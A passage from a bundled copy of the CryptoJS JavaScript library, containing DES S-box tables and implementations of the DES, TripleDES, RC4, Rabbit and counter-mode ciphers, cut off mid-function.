0x10000000,\n\t            0x1600: 0x10000008,\n\t            0x1700: 0x202000,\n\t            0x1800: 0x202008,\n\t            0x1900: 0x0,\n\t            0x1a00: 0x8,\n\t            0x1b00: 0x10200000,\n\t            0x1c00: 0x2000,\n\t            0x1d00: 0x10002008,\n\t            0x1e00: 0x10202000,\n\t            0x1f00: 0x200008,\n\t            0x1080: 0x8,\n\t            0x1180: 0x202000,\n\t            0x1280: 0x200000,\n\t            0x1380: 0x10000008,\n\t            0x1480: 0x10002000,\n\t            0x1580: 0x2008,\n\t            0x1680: 0x10202008,\n\t            0x1780: 0x10200000,\n\t            0x1880: 0x10202000,\n\t            0x1980: 0x10200008,\n\t            0x1a80: 0x2000,\n\t            0x1b80: 0x202008,\n\t            0x1c80: 0x200008,\n\t            0x1d80: 0x0,\n\t            0x1e80: 0x10000000,\n\t            0x1f80: 0x10002008\n\t        },\n\t        {\n\t            0x0: 0x100000,\n\t            0x10: 0x2000401,\n\t            0x20: 0x400,\n\t            0x30: 0x100401,\n\t            0x40: 0x2100401,\n\t            0x50: 0x0,\n\t            0x60: 0x1,\n\t            0x70: 0x2100001,\n\t            0x80: 0x2000400,\n\t            0x90: 0x100001,\n\t            0xa0: 0x2000001,\n\t            0xb0: 0x2100400,\n\t            0xc0: 0x2100000,\n\t            0xd0: 0x401,\n\t            0xe0: 0x100400,\n\t            0xf0: 0x2000000,\n\t            0x8: 0x2100001,\n\t            0x18: 0x0,\n\t            0x28: 0x2000401,\n\t            0x38: 0x2100400,\n\t            0x48: 0x100000,\n\t            0x58: 0x2000001,\n\t            0x68: 0x2000000,\n\t            0x78: 0x401,\n\t            0x88: 0x100401,\n\t            0x98: 0x2000400,\n\t            0xa8: 0x2100000,\n\t            0xb8: 0x100001,\n\t            0xc8: 0x400,\n\t            0xd8: 0x2100401,\n\t            0xe8: 0x1,\n\t            0xf8: 0x100400,\n\t            0x100: 0x2000000,\n\t            0x110: 0x100000,\n\t            0x120: 0x2000401,\n\t            0x130: 0x2100001,\n\t            0x140: 0x100001,\n\t            0x150: 0x2000400,\n\t            0x160: 0x2100400,\n\t            0x170: 0x100401,\n\t            0x180: 0x401,\n\t            0x190: 0x2100401,\n\t            0x1a0: 0x100400,\n\t            0x1b0: 0x1,\n\t            0x1c0: 0x0,\n\t            0x1d0: 0x2100000,\n\t            0x1e0: 0x2000001,\n\t            0x1f0: 0x400,\n\t            0x108: 0x100400,\n\t            0x118: 0x2000401,\n\t            0x128: 0x2100001,\n\t            0x138: 0x1,\n\t            0x148: 0x2000000,\n\t            0x158: 0x100000,\n\t            0x168: 0x401,\n\t            0x178: 0x2100400,\n\t            0x188: 0x2000001,\n\t            0x198: 0x2100000,\n\t            0x1a8: 0x0,\n\t            0x1b8: 0x2100401,\n\t            0x1c8: 0x100401,\n\t            0x1d8: 0x400,\n\t            0x1e8: 0x2000400,\n\t            0x1f8: 0x100001\n\t        },\n\t        {\n\t            0x0: 0x8000820,\n\t            0x1: 0x20000,\n\t            0x2: 0x8000000,\n\t            0x3: 0x20,\n\t            0x4: 0x20020,\n\t            0x5: 0x8020820,\n\t            0x6: 0x8020800,\n\t            0x7: 0x800,\n\t            0x8: 0x8020000,\n\t            0x9: 0x8000800,\n\t            0xa: 0x20800,\n\t            0xb: 0x8020020,\n\t            0xc: 0x820,\n\t            0xd: 0x0,\n\t            0xe: 0x8000020,\n\t            0xf: 0x20820,\n\t            0x80000000: 0x800,\n\t            0x80000001: 0x8020820,\n\t            0x80000002: 0x8000820,\n\t            0x80000003: 0x8000000,\n\t            0x80000004: 0x8020000,\n\t            0x80000005: 0x20800,\n\t            0x80000006: 0x20820,\n\t            0x80000007: 0x20,\n\t            0x80000008: 0x8000020,\n\t            0x80000009: 0x820,\n\t            0x8000000a: 0x20020,\n\t            0x8000000b: 0x8020800,\n\t            0x8000000c: 0x0,\n\t            0x8000000d: 0x8020020,\n\t            0x8000000e: 0x8000800,\n\t            0x8000000f: 0x20000,\n\t            0x10: 0x20820,\n\t            0x11: 0x8020800,\n\t            0x12: 0x20,\n\t            0x13: 0x800,\n\t            0x14: 0x8000800,\n\t            0x15: 0x8000020,\n\t            0x16: 0x8020020,\n\t            0x17: 0x20000,\n\t            0x18: 0x0,\n\t            0x19: 0x20020,\n\t            0x1a: 0x8020000,\n\t            0x1b: 0x8000820,\n\t            0x1c: 0x8020820,\n\t            0x1d: 0x20800,\n\t            0x1e: 0x820,\n\t            0x1f: 0x8000000,\n\t            0x80000010: 0x20000,\n\t            0x80000011: 0x800,\n\t            0x80000012: 0x8020020,\n\t            0x80000013: 0x20820,\n\t            0x80000014: 0x20,\n\t            0x80000015: 0x8020000,\n\t            0x80000016: 0x8000000,\n\t            0x80000017: 0x8000820,\n\t            0x80000018: 0x8020820,\n\t            0x80000019: 0x8000020,\n\t            0x8000001a: 0x8000800,\n\t            0x8000001b: 0x0,\n\t            0x8000001c: 0x20800,\n\t            0x8000001d: 0x820,\n\t            0x8000001e: 0x20020,\n\t            0x8000001f: 0x8020800\n\t        }\n\t    ];\n\n\t    // Masks that select the SBOX input\n\t    var SBOX_MASK = [\n\t        0xf8000001, 0x1f800000, 0x01f80000, 0x001f8000,\n\t        0x0001f800, 0x00001f80, 0x000001f8, 0x8000001f\n\t    ];\n\n\t    /**\n\t     * DES block cipher algorithm.\n\t     */\n\t    var DES = C_algo.DES = BlockCipher.extend({\n\t        _doReset: function () {\n\t            // Shortcuts\n\t            var key = this._key;\n\t            var keyWords = key.words;\n\n\t            // Select 56 bits according to PC1\n\t            var keyBits = [];\n\t            for (var i = 0; i < 56; i++) {\n\t                var keyBitPos = PC1[i] - 1;\n\t                keyBits[i] = (keyWords[keyBitPos >>> 5] >>> (31 - keyBitPos % 32)) & 1;\n\t            }\n\n\t            // Assemble 16 subkeys\n\t            var subKeys = this._subKeys = [];\n\t            for (var nSubKey = 0; nSubKey < 16; nSubKey++) {\n\t                // Create subkey\n\t                var subKey = subKeys[nSubKey] = [];\n\n\t                // Shortcut\n\t                var bitShift = BIT_SHIFTS[nSubKey];\n\n\t                // Select 48 bits according to PC2\n\t                for (var i = 0; i < 24; i++) {\n\t                    // Select from the left 28 key bits\n\t                    subKey[(i / 6) | 0] |= keyBits[((PC2[i] - 1) + bitShift) % 28] << (31 - i % 6);\n\n\t                    // Select from the right 28 key bits\n\t                    subKey[4 + ((i / 6) | 0)] |= keyBits[28 + (((PC2[i + 24] - 1) + bitShift) % 28)] << (31 - i % 6);\n\t                }\n\n\t                // Since each subkey is applied to an expanded 32-bit input,\n\t                // the subkey can be broken into 8 values scaled to 32-bits,\n\t                // which allows the key to be used without expansion\n\t                subKey[0] = (subKey[0] << 1) | (subKey[0] >>> 31);\n\t                for (var i = 1; i < 7; i++) {\n\t                    subKey[i] = subKey[i] >>> ((i - 1) * 4 + 3);\n\t                }\n\t                subKey[7] = (subKey[7] << 5) | (subKey[7] >>> 27);\n\t            }\n\n\t            // Compute inverse subkeys\n\t            var invSubKeys = this._invSubKeys = [];\n\t            for (var i = 0; i < 16; i++) {\n\t                invSubKeys[i] = subKeys[15 - i];\n\t            }\n\t        },\n\n\t        encryptBlock: function (M, offset) {\n\t            this._doCryptBlock(M, offset, this._subKeys);\n\t        },\n\n\t        decryptBlock: function (M, offset) {\n\t            this._doCryptBlock(M, offset, this._invSubKeys);\n\t        },\n\n\t        _doCryptBlock: function (M, offset, subKeys) {\n\t            // Get input\n\t            this._lBlock = M[offset];\n\t            this._rBlock = M[offset + 1];\n\n\t            // Initial permutation\n\t            exchangeLR.call(this, 4,  0x0f0f0f0f);\n\t            exchangeLR.call(this, 16, 0x0000ffff);\n\t            exchangeRL.call(this, 2,  0x33333333);\n\t            exchangeRL.call(this, 8,  0x00ff00ff);\n\t            exchangeLR.call(this, 1,  0x55555555);\n\n\t            // Rounds\n\t            for (var round = 0; round < 16; round++) {\n\t                // Shortcuts\n\t                var subKey = subKeys[round];\n\t                var lBlock = this._lBlock;\n\t                var rBlock = this._rBlock;\n\n\t                // Feistel function\n\t                var f = 0;\n\t                for (var i = 0; i < 8; i++) {\n\t                    f |= SBOX_P[i][((rBlock ^ subKey[i]) & SBOX_MASK[i]) >>> 0];\n\t                }\n\t                this._lBlock = rBlock;\n\t                this._rBlock = lBlock ^ f;\n\t            }\n\n\t            // Undo swap from last round\n\t            var t = this._lBlock;\n\t            this._lBlock = this._rBlock;\n\t            this._rBlock = t;\n\n\t            // Final permutation\n\t            exchangeLR.call(this, 1,  0x55555555);\n\t            exchangeRL.call(this, 8,  0x00ff00ff);\n\t            exchangeRL.call(this, 2,  0x33333333);\n\t            exchangeLR.call(this, 16, 0x0000ffff);\n\t            exchangeLR.call(this, 4,  0x0f0f0f0f);\n\n\t            // Set output\n\t            M[offset] = this._lBlock;\n\t            M[offset + 1] = this._rBlock;\n\t        },\n\n\t        keySize: 64/32,\n\n\t        ivSize: 64/32,\n\n\t        blockSize: 64/32\n\t    });\n\n\t    // Swap bits across the left and right words\n\t    function exchangeLR(offset, mask) {\n\t        var t = ((this._lBlock >>> offset) ^ this._rBlock) & mask;\n\t        this._rBlock ^= t;\n\t        this._lBlock ^= t << offset;\n\t    }\n\n\t    function exchangeRL(offset, mask) {\n\t        var t = ((this._rBlock >>> offset) ^ this._lBlock) & mask;\n\t        this._lBlock ^= t;\n\t        this._rBlock ^= t << offset;\n\t    }\n\n\t    /**\n\t     * Shortcut functions to the cipher's object interface.\n\t     *\n\t     * @example\n\t     *\n\t     *     var ciphertext = CryptoJS.DES.encrypt(message, key, cfg);\n\t     *     var plaintext  = CryptoJS.DES.decrypt(ciphertext, key, cfg);\n\t     */\n\t    C.DES = BlockCipher._createHelper(DES);\n\n\t    /**\n\t     * Triple-DES block cipher algorithm.\n\t     */\n\t    var TripleDES = C_algo.TripleDES = BlockCipher.extend({\n\t        _doReset: function () {\n\t            // Shortcuts\n\t            var key = this._key;\n\t            var keyWords = key.words;\n\n\t            // Create DES instances\n\t            this._des1 = DES.createEncryptor(WordArray.create(keyWords.slice(0, 2)));\n\t            this._des2 = DES.createEncryptor(WordArray.create(keyWords.slice(2, 4)));\n\t            this._des3 = DES.createEncryptor(WordArray.create(keyWords.slice(4, 6)));\n\t        },\n\n\t        encryptBlock: function (M, offset) {\n\t            this._des1.encryptBlock(M, offset);\n\t            this._des2.decryptBlock(M, offset);\n\t            this._des3.encryptBlock(M, offset);\n\t        },\n\n\t        decryptBlock: function (M, offset) {\n\t            this._des3.decryptBlock(M, offset);\n\t            this._des2.encryptBlock(M, offset);\n\t            this._des1.decryptBlock(M, offset);\n\t        },\n\n\t        keySize: 192/32,\n\n\t        ivSize: 64/32,\n\n\t        blockSize: 64/32\n\t    });\n\n\t    /**\n\t     * Shortcut functions to the cipher's object interface.\n\t     *\n\t     * @example\n\t     *\n\t     *     var ciphertext = CryptoJS.TripleDES.encrypt(message, key, cfg);\n\t     *     var plaintext  = CryptoJS.TripleDES.decrypt(ciphertext, key, cfg);\n\t     */\n\t    C.TripleDES = BlockCipher._createHelper(TripleDES);\n\t}());\n\n\n\t(function () {\n\t    // Shortcuts\n\t    var C = CryptoJS;\n\t    var C_lib = C.lib;\n\t    var StreamCipher = C_lib.StreamCipher;\n\t    var C_algo = C.algo;\n\n\t    /**\n\t     * RC4 stream cipher algorithm.\n\t     */\n\t    var RC4 = C_algo.RC4 = StreamCipher.extend({\n\t        _doReset: function () {\n\t            // Shortcuts\n\t            var key = this._key;\n\t            var keyWords = key.words;\n\t            var keySigBytes = key.sigBytes;\n\n\t            // Init sbox\n\t            var S = this._S = [];\n\t            for (var i = 0; i < 256; i++) {\n\t                S[i] = i;\n\t            }\n\n\t            // Key setup\n\t            for (var i = 0, j = 0; i < 256; i++) {\n\t                var keyByteIndex = i % keySigBytes;\n\t                var keyByte = (keyWords[keyByteIndex >>> 2] >>> (24 - (keyByteIndex % 4) * 8)) & 0xff;\n\n\t                j = (j + S[i] + keyByte) % 256;\n\n\t                // Swap\n\t                var t = S[i];\n\t                S[i] = S[j];\n\t                S[j] = t;\n\t            }\n\n\t            // Counters\n\t            this._i = this._j = 0;\n\t        },\n\n\t        _doProcessBlock: function (M, offset) {\n\t            M[offset] ^= generateKeystreamWord.call(this);\n\t        },\n\n\t        keySize: 256/32,\n\n\t        ivSize: 0\n\t    });\n\n\t    function generateKeystreamWord() {\n\t        // Shortcuts\n\t        var S = this._S;\n\t        var i = this._i;\n\t        var j = this._j;\n\n\t        // Generate keystream word\n\t        var keystreamWord = 0;\n\t        for (var n = 0; n < 4; n++) {\n\t            i = (i + 1) % 256;\n\t            j = (j + S[i]) % 256;\n\n\t            // Swap\n\t            var t = S[i];\n\t            S[i] = S[j];\n\t            S[j] = t;\n\n\t            keystreamWord |= S[(S[i] + S[j]) % 256] << (24 - n * 8);\n\t        }\n\n\t        // Update counters\n\t        this._i = i;\n\t        this._j = j;\n\n\t        return keystreamWord;\n\t    }\n\n\t    /**\n\t     * Shortcut functions to the cipher's object interface.\n\t     *\n\t     * @example\n\t     *\n\t     *     var ciphertext = CryptoJS.RC4.encrypt(message, key, cfg);\n\t     *     var plaintext  = CryptoJS.RC4.decrypt(ciphertext, key, cfg);\n\t     */\n\t    C.RC4 = StreamCipher._createHelper(RC4);\n\n\t    /**\n\t     * Modified RC4 stream cipher algorithm.\n\t     */\n\t    var RC4Drop = C_algo.RC4Drop = RC4.extend({\n\t        /**\n\t         * Configuration options.\n\t         *\n\t         * @property {number} drop The number of keystream words to drop. Default 192\n\t         */\n\t        cfg: RC4.cfg.extend({\n\t            drop: 192\n\t        }),\n\n\t        _doReset: function () {\n\t            RC4._doReset.call(this);\n\n\t            // Drop\n\t            for (var i = this.cfg.drop; i > 0; i--) {\n\t                generateKeystreamWord.call(this);\n\t            }\n\t        }\n\t    });\n\n\t    /**\n\t     * Shortcut functions to the cipher's object interface.\n\t     *\n\t     * @example\n\t     *\n\t     *     var ciphertext = CryptoJS.RC4Drop.encrypt(message, key, cfg);\n\t     *     var plaintext  = CryptoJS.RC4Drop.decrypt(ciphertext, key, cfg);\n\t     */\n\t    C.RC4Drop = StreamCipher._createHelper(RC4Drop);\n\t}());\n\n\n\t/** @preserve\n\t * Counter block mode compatible with  Dr Brian Gladman fileenc.c\n\t * derived from CryptoJS.mode.CTR\n\t * Jan Hruby jhruby.web@gmail.com\n\t */\n\tCryptoJS.mode.CTRGladman = (function () {\n\t    var CTRGladman = CryptoJS.lib.BlockCipherMode.extend();\n\n\t\tfunction incWord(word)\n\t\t{\n\t\t\tif (((word >> 24) & 0xff) === 0xff) { //overflow\n\t\t\tvar b1 = (word >> 16)&0xff;\n\t\t\tvar b2 = (word >> 8)&0xff;\n\t\t\tvar b3 = word & 0xff;\n\n\t\t\tif (b1 === 0xff) // overflow b1\n\t\t\t{\n\t\t\tb1 = 0;\n\t\t\tif (b2 === 0xff)\n\t\t\t{\n\t\t\t\tb2 = 0;\n\t\t\t\tif (b3 === 0xff)\n\t\t\t\t{\n\t\t\t\t\tb3 = 0;\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\t++b3;\n\t\t\t\t}\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t++b2;\n\t\t\t}\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t++b1;\n\t\t\t}\n\n\t\t\tword = 0;\n\t\t\tword += (b1 << 16);\n\t\t\tword += (b2 << 8);\n\t\t\tword += b3;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\tword += (0x01 << 24);\n\t\t\t}\n\t\t\treturn word;\n\t\t}\n\n\t\tfunction incCounter(counter)\n\t\t{\n\t\t\tif ((counter[0] = incWord(counter[0])) === 0)\n\t\t\t{\n\t\t\t\t// encr_data in fileenc.c from  Dr Brian Gladman's counts only with DWORD j < 8\n\t\t\t\tcounter[1] = incWord(counter[1]);\n\t\t\t}\n\t\t\treturn counter;\n\t\t}\n\n\t    var Encryptor = CTRGladman.Encryptor = CTRGladman.extend({\n\t        processBlock: function (words, offset) {\n\t            // Shortcuts\n\t            var cipher = this._cipher\n\t            var blockSize = cipher.blockSize;\n\t            var iv = this._iv;\n\t            var counter = this._counter;\n\n\t            // Generate keystream\n\t            if (iv) {\n\t                counter = this._counter = iv.slice(0);\n\n\t                // Remove IV for subsequent blocks\n\t                this._iv = undefined;\n\t            }\n\n\t\t\t\tincCounter(counter);\n\n\t\t\t\tvar keystream = counter.slice(0);\n\t            cipher.encryptBlock(keystream, 0);\n\n\t            // Encrypt\n\t            for (var i = 0; i < blockSize; i++) {\n\t                words[offset + i] ^= keystream[i];\n\t            }\n\t        }\n\t    });\n\n\t    CTRGladman.Decryptor = Encryptor;\n\n\t    return CTRGladman;\n\t}());\n\n\n\n\n\t(function () {\n\t    // Shortcuts\n\t    var C = CryptoJS;\n\t    var C_lib = C.lib;\n\t    var StreamCipher = C_lib.StreamCipher;\n\t    var C_algo = C.algo;\n\n\t    // Reusable objects\n\t    var S  = [];\n\t    var C_ = [];\n\t    var G  = [];\n\n\t    /**\n\t     * Rabbit stream cipher algorithm\n\t     */\n\t    var Rabbit = C_algo.Rabbit = StreamCipher.extend({\n\t        _doReset: function () {\n\t            // Shortcuts\n\t            var K = this._key.words;\n\t            var iv = this.cfg.iv;\n\n\t            // Swap endian\n\t            for (var i = 0; i < 4; i++) {\n\t                K[i] = (((K[i] << 8)  | (K[i] >>> 24)) & 0x00ff00ff) |\n\t                       (((K[i] << 24) | (K[i] >>> 8))  & 0xff00ff00);\n\t            }\n\n\t            // Generate initial state values\n\t            var X = this._X = [\n\t                K[0], (K[3] << 16) | (K[2] >>> 16),\n\t                K[1], (K[0] << 16) | (K[3] >>> 16),\n\t                K[2], (K[1] << 16) | (K[0] >>> 16),\n\t                K[3], (K[2] << 16) | (K[1] >>> 16)\n\t            ];\n\n\t            // Generate initial counter values\n\t            var C = this._C = [\n\t                (K[2] << 16) | (K[2] >>> 16), (K[0] & 0xffff0000) | (K[1] & 0x0000ffff),\n\t                (K[3] << 16) | (K[3] >>> 16), (K[1] & 0xffff0000) | (K[2] & 0x0000ffff),\n\t                (K[0] << 16) | (K[0] >>> 16), (K[2] & 0xffff0000) | (K[3] & 0x0000ffff),\n\t                (K[1] << 16) | (K[1] >>> 16), (K[3] & 0xffff0000) | (K[0] & 0x0000ffff)\n\t            ];\n\n\t            // Carry bit\n\t            this._b = 0;\n\n\t            // Iterate the system four times\n\t            for (var i = 0; i < 4; i++) {\n\t                nextState.call(this);\n\t            }\n\n\t            // Modify the counters\n\t            for (var i = 0; i < 8; i++) {\n\t                C[i] ^= X[(i + 4) & 7];\n\t            }\n\n\t            // IV setup\n\t            if (iv) {\n\t                // Shortcuts\n\t                var IV = iv.words;\n\t                var IV_0 = IV[0];\n\t                var IV_1 = IV[1];\n\n\t                // Generate four subvectors\n\t                var i0 = (((IV_0 << 8) | (IV_0 >>> 24)) & 0x00ff00ff) | (((IV_0 << 24) | (IV_0 >>> 8)) & 0xff00ff00);\n\t                var i2 = (((IV_1 << 8) | (IV_1 >>> 24)) & 0x00ff00ff) | (((IV_1 << 24) | (IV_1 >>> 8)) & 0xff00ff00);\n\t                var i1 = (i0 >>> 16) | (i2 & 0xffff0000);\n\t                var i3 = (i2 << 16)  | (i0 & 0x0000ffff);\n\n\t                // Modify counter values\n\t                C[0] ^= i0;\n\t                C[1] ^= i1;\n\t                C[2] ^= i2;\n\t                C[3] ^= i3;\n\t                C[4] ^= i0;\n\t                C[5] ^= i1;\n\t                C[6] ^= i2;\n\t                C[7] ^= i3;\n\n\t                // Iterate the system four times\n\t                for (var i = 0; i < 4; i++) {\n\t                    nextState.call(this);\n\t                }\n\t            }\n\t        },\n\n\t        _doProcessBlock: function (M, offset) {\n\t            // Shortcut\n\t            var X = this._X;\n\n\t            // Iterate the system\n\t            nextState.call(this);\n\n\t            // Generate four keystream words\n\t            S[0] = X[0] ^ (X[5] >>> 16) ^ (X[3] << 16);\n\t            S[1] = X[2] ^ (X[7] >>> 16) ^ (X[5] << 16);\n\t            S[2] = X[4] ^ (X[1] >>> 16) ^ (X[7] << 16);\n\t            S[3] = X[6] ^ (X[3] >>> 16) ^ (X[1] << 16);\n\n\t            for (var i = 0; i < 4; i++) {\n\t                // Swap endian\n\t                S[i] = (((S[i] << 8)  | (S[i] >>> 24)) & 0x00ff00ff) |\n\t                       (((S[i] << 24) | (S[i] >>> 8))  & 0xff00ff00);\n\n\t                // Encrypt\n\t                M[offset + i] ^= S[i];\n\t            }\n\t        },\n\n\t        blockSize: 128/32,\n\n\t        ivSize: 64/32\n\t    });\n\n\t    function nextState() {\n\t        // Shortcuts\n\t        var X = this._X;\n\t        var C = this._C;\n\n\t        // Save old counter values\n\t        for (var i = 0; i < 8; i++) {\n\t            C_[i] = C[i];\n\t        }\n\n\t        // Calculate new counter values\n\t        C[0] = (C[0] + 0x4d34d34d + this._b) | 0;\n\t        C[1] = (C[1] + 0xd34d34d3 + ((C[0] >>> 0) < (C_[0] >>> 0) ? 1 : 0)) | 0;\n\t        C[2] = (C[2] + 0x34d34d34 + ((C[1] >>> 0) < (C_[1] >>> 0) ? 1 : 0)) | 0;\n\t        C[3] = (C[3] + 0x4d34d34d + ((C[2] >>> 0) < (C_[2] >>> 0) ? 1 : 0)) | 0;\n\t        C[4] = (C[4] + 0xd34d34d3 + ((C[3] >>> 0) < (C_[3] >>> 0) ? 1 : 0)) | 0;\n\t        C[5] = (C[5] + 0x34d34d34 + ((C[4] >>> 0) < (C_[4] >>> 0) ? 1 : 0)) | 0;\n\t        C[6] = (C[6] + 0x4d34d34d + ((C[5] >>> 0) < (C_[5] >>> 0) ? 1 : 0)) | 0;\n\t        C[7] = (C[7] + 0xd34d34d3 + ((C[6] >>> 0) < (C_[6] >>> 0) ? 1 : 0)) | 0;\n\t        this._b = (C[7] >>> 0) < (C_[7] >>> 0) ? 1 : 0;\n\n\t        // Calculate the g-values\n\t        for (var i = 0; i < 8; i++) {\n\t            var gx = X[i] + C[i];\n\n\t            // Construct high and low argument for squaring\n\t            var ga = gx & 0xffff;\n\t            var gb = gx >>> 16;\n\n\t            // Calculate high and low result of squaring\n\t            var gh = ((((ga * ga) >>> 17) + ga * gb) >>> 15) + gb * gb;\n\t            var gl = (((gx & 0xffff0000) * gx) | 0) + (((gx & 0x0000ffff) * gx) | 0);\n\n\t            // High XOR low\n\t            G[i] = gh ^ gl;\n\t        }\n\n\t        // Calculate new state values\n\t        X[0] = (G[0] + ((G[7] << 16) | (G[7] >>> 16)) + ((G[6] << 16) | (G[6] >>> 16))) | 0;\n\t        X[1] = (G[1] + ((G[0] << 8)  | (G[0] >>> 24)) + G[7]) | 0;\n\t        X[2] = (G[2] + ((G[1] << 16) | (G[1] >>> 16)) + ((G[0] << 16) | (G[0] >>> 16))) | 0;\n\t        X[3] = (G[3] + ((G[2] << 8)  | (G[2] >>> 24)) + G[1]) | 0;\n\t        X[4] = (G[4] + ((G[3] << 16) | (G[3] >>> 16)) + ((G[2] << 16) | (G[2] >>> 16))) | 0;\n\t        X[5] = (G[5] + ((G[4] << 8)  | (G[4] >>> 24)) + G[3]) | 0;\n\t        X[6] = (G[6] + ((G[5] << 16) | (G[5] >>> 16)) + ((G[4] << 16) | (G[4] >>> 16))) | 0;\n\t        X[7] = (G[7] + ((G[6] << 8)  | (G[6] >>> 24)) + G[5]) | 0;\n\t    }\n\n\t    /**\n\t     * Shortcut functions to the cipher's object interface.\n\t     *\n\t     * @example\n\t     *\n\t     *     var ciphertext = CryptoJS.Rabbit.encrypt(message, key, cfg);\n\t     *     var plaintext  = CryptoJS.Rabbit.decrypt(ciphertext, key, cfg);\n\t     */\n\t    C.Rabbit = StreamCipher._createHelper(Rabbit);\n\t}());\n\n\n\t/**\n\t * Counter block mode.\n\t */\n\tCryptoJS.mode.CTR = (function () {\n\t    var CTR = CryptoJS.lib.BlockCipherMode.extend();\n\n\t    var Encryptor = CTR.Encryptor = CTR.extend({\n\t        processBlock: function (words, offset) {\n\t            // Shortcuts\n\t            var cipher = this._cipher\n\t            var blockSize = cipher.blockSize;\n\t            var iv = this._iv;\n\t            var counter = this._counter;\n\n\t            // Generate keystream\n\t            if (iv) {\n\t                counter = this._counter = iv.slice(0);\n\n\t                // Remove IV for subsequent blocks\n\t                this._iv = undefined;\n\t            }\n\t            var keystream = counter.slice(0);\n\t            cipher.encryptBlock(keystream, 0);\n\n\t            // Increment counter\n\t            counter[blockSize - 1] = (counter[blockSize - 1] + 1) | 0\n\n\t            // Encrypt\n\t            for (var i = 0; i < blockSize; i++) {\n\t                words[offset + i] ^= keystream[i];\n\t            }\n\t        }\n\t    });\n\n\t    CTR.Decryptor = Encryptor;\n\n\t    return CTR;\n\t}());\n\n\n\t(function () {\n\t    // Shortcuts\n\t    var C = CryptoJS;\n\t    var C_lib = C.lib;\n\t    var StreamCipher = C_lib.StreamCipher;\n\t    var C_algo = C.algo;\n\n\t    // Reusable objects\n\t    var S  = [];\n\t    var C_ = [];\n\t    var G  = [];\n\n\t    /**\n\t     * Rabbit stream cipher algorithm.\n\t     *\n\t     * This is a legacy version that neglected to convert the key to little-endian.\n\t     * This error doesn't affect the cipher's security,\n\t     * but it does affect its compatibility with other implementations.\n\t     */\n\t    var RabbitLegacy = C_algo.RabbitLegacy = StreamCipher.extend({\n\t        _doReset: function () {\n\t            // Shortcuts\n\t            var K = this._key.words;\n\t            var iv = this.cfg.iv;\n\n\t            // Generate initial state values\n\t            var X = this._X = [\n\t                K[0], (K[3] << 16) | (K[2] >>> 16),\n\t                K[1], (K[0] << 16) | (K[3] >>> 16),\n\t                K[2], (K[1] << 16) | (K[0] >>> 16),\n\t                K[3], (K[2] << 16) | (K[1] >>> 16)\n\t            ];\n\n\t            // Generate initial counter values\n\t            var C = this._C = [\n\t                (K[2] << 16) | (K[2] >>> 16), (K[0] & 0xffff0000) | (K[1] & 0x0000ffff),\n\t                (K[3] << 16) | (K[3] >>> 16), (K[1] & 0xffff0000) | (K[2] & 0x0000ffff),\n\t                (K[0] << 16) | (K[0] >>> 16), (K[2] & 0xffff0000) | (K[3] & 0x0000ffff),\n\t                (K[1] << 16) | (K[1] >>> 16), (K[3] & 0xffff0000) | (K[0] & 0x0000ffff)\n\t            ];\n\n\t            // Carry bit\n\t            this._b = 0;\n\n\t            // Iterate the system four times\n\t            for (var i = 0; i < 4; i++) {\n\t                nextState.call(this);\n\t            }\n\n\t            // Modify the counters\n\t            for (var i = 0; i < 8; i++) {\n\t                C[i] ^= X[(i + 4) & 7];\n\t            }\n\n\t            // IV setup\n\t            if (iv) {\n\t                // Shortcuts\n\t                var IV = iv.words;\n\t                var IV_0 = IV[0];\n\t                var IV_1 = IV[1];\n\n\t                // Generate four subvectors\n\t                var i0 = (((IV_0 << 8) | (IV_0 >>> 24)) & 0x00ff00ff) | (((IV_0 << 24) | (IV_0 >>> 8)) & 0xff00ff00);\n\t                var i2 = (((IV_1 << 8) | (IV_1 >>> 24)) & 0x00ff00ff) | (((IV_1 << 24) | (IV_1 >>> 8)) & 0xff00ff00);\n\t                var i1 = (i0 >>> 16) | (i2 & 0xffff0000);\n\t                var i3 = (i2 << 16)  | (i0 & 0x0000ffff);\n\n\t                // Modify counter values\n\t                C[0] ^= i0;\n\t                C[1] ^= i1;\n\t                C[2] ^= i2;\n\t                C[3] ^= i3;\n\t                C[4] ^= i0;\n\t                C[5] ^= i1;\n\t                C[6] ^= i2;\n\t                C[7] ^= i3;\n\n\t                // Iterate the system four times\n\t                for (var i = 0; i < 4; i++) {\n\t                    nextState.call(this);\n\t                }\n\t            }\n\t        },\n\n\t        _doProcessBlock: function (M, offset) {\n\t            // Shortcut\n\t            var X = this._X;\n\n\t            // Iterate the system\n\t            nextState.call(this);\n\n\t            // Generate four keystream words\n\t            S[0] = X[0] ^ (X[5] >>> 16) ^ (X[3] << 16);\n\t            S[1] = X[2] ^ (X[7] >>> 16) ^ (X[5] << 16);\n\t            S[2] = X[4] ^ (X[1] >>> 16) ^ (X[7] << 16);\n\t            S[3] = X[6] ^ (X[3] >>> 16) ^ (X[1] << 16);\n\n\t            for (var i = 0; i < 4; i++) {\n\t                // Swap endian\n\t                S[i] = (((S[i] << 8)  | (S[i] >>> 24)) & 0x00ff00ff) |\n\t                       (((S[i] << 24) | (S[i] >>> 8))  & 0xff00ff00);\n\n\t                // Encrypt\n\t                M[offset + i] ^= S[i];\n\t            }\n\t        },\n\n\t        blockSize: 128/32,\n\n\t        ivSize: 64/32\n\t    });\n\n\t    function nextState() {\n\t        // Shortcuts\n\t        var X = this._X;\n\t        var C = this._C;\n\n\t        // Save old counter values\n\t        for (var i = 0; i < 8; i++) {\n\t            C_[i] = C[i];\n\t        }\n\n\t        // Calculate new counter values\n\t        C[0] = (C[0] + 0x4d34d34d + this._b) | 0;\n\t        C[1] = (C[1] + 0xd34d34d3 + ((C[0] >>> 0) < (C_[0] >>> 0) ? 1 : 0)) | 0;\n\t        C[2] = (C[2] + 0x34d34d34 + ((C[1] >>> 0) < (C_[1] >>> 0) ? 1 : 0)) | 0;\n\t        C[3] = (C[3] + 0x4d34d34d + ((C[2] >>> 0) < (C_[2] >>> 0) ? 1 : 0)) | 0;\n\t        C[4] = (C[4] + 0xd34d34d3 + ((C[3] >>> 0) < (C_[3] >>> 0) ? 1 : 0)) | 0;\n\t        C[5] = (C[5] + 0x34d34d34 + ((C[4] >>> 0) < (C_[4] >>> 0) ? 1 : 0)) | 0;\n\t        C[6] = (C[6] + 0x4d34d34d + ((C[5] >>> 0) < (C_[5] >>> 0) ? 1 : 0)) | 0;\n\t        C[7] = (C[7] + 0xd34d34d3 + ((C[6] >>> 0) < (C_[6] >>> 0) ? 1 : 0)) | 